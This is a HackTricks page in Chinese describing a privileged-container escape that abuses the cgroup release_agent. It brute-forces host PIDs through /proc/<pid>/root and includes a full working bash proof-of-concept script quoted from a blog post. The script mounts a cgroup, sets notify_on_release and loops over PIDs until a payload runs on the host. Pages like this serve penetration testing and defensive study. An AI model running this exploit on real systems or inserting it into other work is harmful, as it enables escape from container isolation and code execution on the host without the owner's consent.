# release\_agent exploit - Relative Paths to PIDs

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

要了解更多详细信息，请查看来自<https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html>的博客文章。这只是一个摘要：

该技术概述了一种**从容器内部执行主机代码**的方法，克服了存储驱动程序配置带来的挑战，这些配置会隐藏容器在主机上的文件系统路径，例如Kata Containers或特定的`devicemapper`设置。

关键步骤：

1. **定位进程ID（PIDs）：** 使用Linux伪文件系统中的`/proc/<pid>/root`符号链接，可以相对于主机的文件系统访问容器中的任何文件。这样可以绕过在主机上了解容器文件系统路径的需求。
2. **PID猜测：** 采用暴力搜索方法在主机上搜索PID。这是通过顺序检查`/proc/<pid>/root/<file>`中特定文件的存在来完成的。当找到文件时，表示相应的PID属于运行在目标容器内部的进程。
3. **触发执行：** 猜测的PID路径被写入`cgroups release_agent`文件。此操作触发`release_agent`的执行。通过检查是否创建了输出文件来确认此步骤的成功。

#### 利用过程

利用过程涉及一系列更详细的操作，旨在通过猜测运行在容器内部的进程的正确PID，在主机上执行有效载荷。以下是操作步骤：

1. **初始化环境：** 在主机上准备一个有效载荷脚本（`payload.sh`），并为cgroup操作创建一个唯一目录。
2. **准备有效载荷：** 编写包含要在主机上执行的命令的有效载荷脚本，并使其可执行。
3. **设置Cgroup：** 挂载和配置cgroup。设置`notify_on_release`标志以确保在释放cgroup时执行有效载荷。
4. **暴力破解PID：** 循环遍历潜在的PID，将每个猜测的PID写入`release_agent`文件。这实际上将有效载荷脚本设置为`release_agent`。
5. **触发和检查执行：** 对于每个PID，将cgroup的`cgroup.procs`写入，如果PID正确，则触发`release_agent`的执行。循环将继续，直到找到有效载荷脚本的输出，表示成功执行。

博客文章中的PoC：

```bash
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
